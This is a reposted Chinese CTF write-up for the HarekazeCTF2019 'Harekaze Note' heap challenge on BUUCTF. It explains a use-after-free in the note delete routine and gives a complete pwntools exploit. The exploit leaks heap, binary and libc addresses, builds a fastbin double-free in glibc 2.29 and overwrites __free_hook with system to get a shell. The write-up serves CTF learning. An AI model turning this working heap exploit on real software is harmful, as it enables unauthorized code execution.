ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF-pwn] [HarekazeCTF2019]Harekaze Note

2022-01-10 22:03:15  阅读:169  来源: 互联网

标签:BUUCTF libc free content HarekazeCTF2019 add sendlineafter pwn ptr


未知高版本libc的堆问题

题目给了libc但下不来。github在国内没办法。

一般2.23的堆没有tcache第一个块在010,2.27以后加了250的tcache第1个在260,2.31以后在2a0

可以先泄露堆地址再根据大概的版本往下走。

先按2.27在本地作成,发现远程不能用,虽然小于2.31但tcache不能直接doublefree。应该用fastbinattack 。

漏点:

这里的块建content后在0x20处有个指向content的指针,在free以后清除,重建里这个位置没有覆盖,形成UAF,但使用起来比较麻烦。

unsigned __int64 m4free()
{
  char *ptr; // [rsp+8h] [rbp-28h]
  char v2[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Title of note to delete: ");
  readn((__int64)v2, 16);
  ptr = getid(v2);
  if ( ptr )
  {
    *(_QWORD *)(*((_QWORD *)ptr + 2) + 24LL) = *((_QWORD *)ptr + 3);
    *(_QWORD *)(*((_QWORD *)ptr + 3) + 16LL) = *((_QWORD *)ptr + 2);
    free(*((void **)ptr + 4));                  // 指针未清理
    free(ptr);
    --dword_4060;
  }
  return __readfsqword(0x28u) ^ v3;
}

处理思路:

  1. 建A,A1(A的content),B,C...... 先释放B,再释放A(同时会释放掉A1)这时A1的fd指向B,重建A时由于A里指向A1的指针还在,可以showA得到heap地址
  2. 给D加content,D1=A1写入链表头指针(双链表存储的结构,链头块指向程序加载地址),释放D后在这里建B(位置在A1,D1,先建下D将这个块用掉)show得到程序加载地址
  3. 同理在这里写got表得到libc地址,注意这里直接用上次的B,但会覆盖B的指针,由于堆地址得到,在写里恢复原指针,以免断链。
  4. 得到libc就成功了一半,发现是2.29-0ubuntu2上网上下载一个重来。
  5. 先耗掉原有的tcache
  6. 再建9个块并加0x38的content,然后释放,这时0x31,0x41各有7个进入tcache,2个进入fastbin.
  7. 再重建9个块(不加content)耗掉0x31的tcache
  8. 这时7和8在fastbin中,释放8(旧7新8)在fastbin里成环
  9. 新建7块并加content耗掉tcache里的0x41块
  10. 这里只有fastbin里的环,可以用doublefree方法了
  11. 建4个块,分别加content依次写入__free_hook,bin/sh,0,system再释放/bin/sh

flag文件时/home/note/flag,程序远程运行很慢,找文件时还会超时,好在/home就一个note也就一个。

完整的exp:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 25491) 

    libc_elf = ELF('../../libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so')
    one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
    libc_start_main_ret = 0x26b6b

menu = b"Choice: "
def add(title):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Title: ", title)

def addcontent(title, size, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Title of note to write content: ", title)
    p.sendlineafter(b"Size of content: ", str(size).encode())
    p.sendlineafter(b"Content: ", msg)

def free(title):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Title of note to delete: ", title)

def show(title):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Title of note to show content: ", title)

def pwn():

    add(b'A')
    addcontent(b'A', 40, b'a')
    add(b'B')
    add(b'C')
    add(b'D')
    add(b'E')

    free(b'B')
    free(b'A') #ptr->content no clear 
    add(b'A')

    show(b'A')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00') )
    print('heap:', hex(heap_addr))

    addcontent(b'D', 40, b'A'*0x20+p64(heap_addr + 0x40)) #B1
    free(b'D')
    add(b'D')
    add(b'B')    
    show(b'B')
    pwn_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) -0x4080
    elf.address = pwn_base
    print('pwn:', hex(pwn_base))

    free(b'D')
    add(b'D') 
    addcontent(b'E', 40, b'B'.ljust(0x10, b'\x00') +flat(heap_addr-0x60, heap_addr+0x60, elf.got['printf'])) #B1
    show(b'B')
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) - libc_elf.sym['printf']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))

    add(b'F')

    for i in range(9):
        add(str(i).encode())
        addcontent(str(i).encode(), 0x38, b'a')
    for i in range(9):
        free(str(i).encode())
    for i in range(9):
        add(str(i).encode())
    
    free(b'8')  #8+8.data
    add(b'8')
    #fastbin 0x38 loop
    #clear tcache
    for i in range(100,107):
        add(str(i).encode())
    for i in range(107,114):
        add(str(i).encode())
        addcontent(str(i).encode(), 0x38, b'a')
    
    for i in range(115,119):
        add(str(i).encode())
    
    addcontent(b'115', 0x38, p64(libc_elf.sym['__free_hook']))
    addcontent(b'116', 0x38, b'/bin/sh')
    addcontent(b'117', 0x38, b'/bin/sh')
    addcontent(b'118', 0x38, p64(libc_elf.sym['system']))
    
    free(b'116')
    p.sendline(b'cat /home/note/flag')
    p.interactive()

connect()
pwn()

标签:BUUCTF,libc,free,content,HarekazeCTF2019,add,sendlineafter,pwn,ptr
来源: https://blog.csdn.net/weixin_52640415/article/details/122414695

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有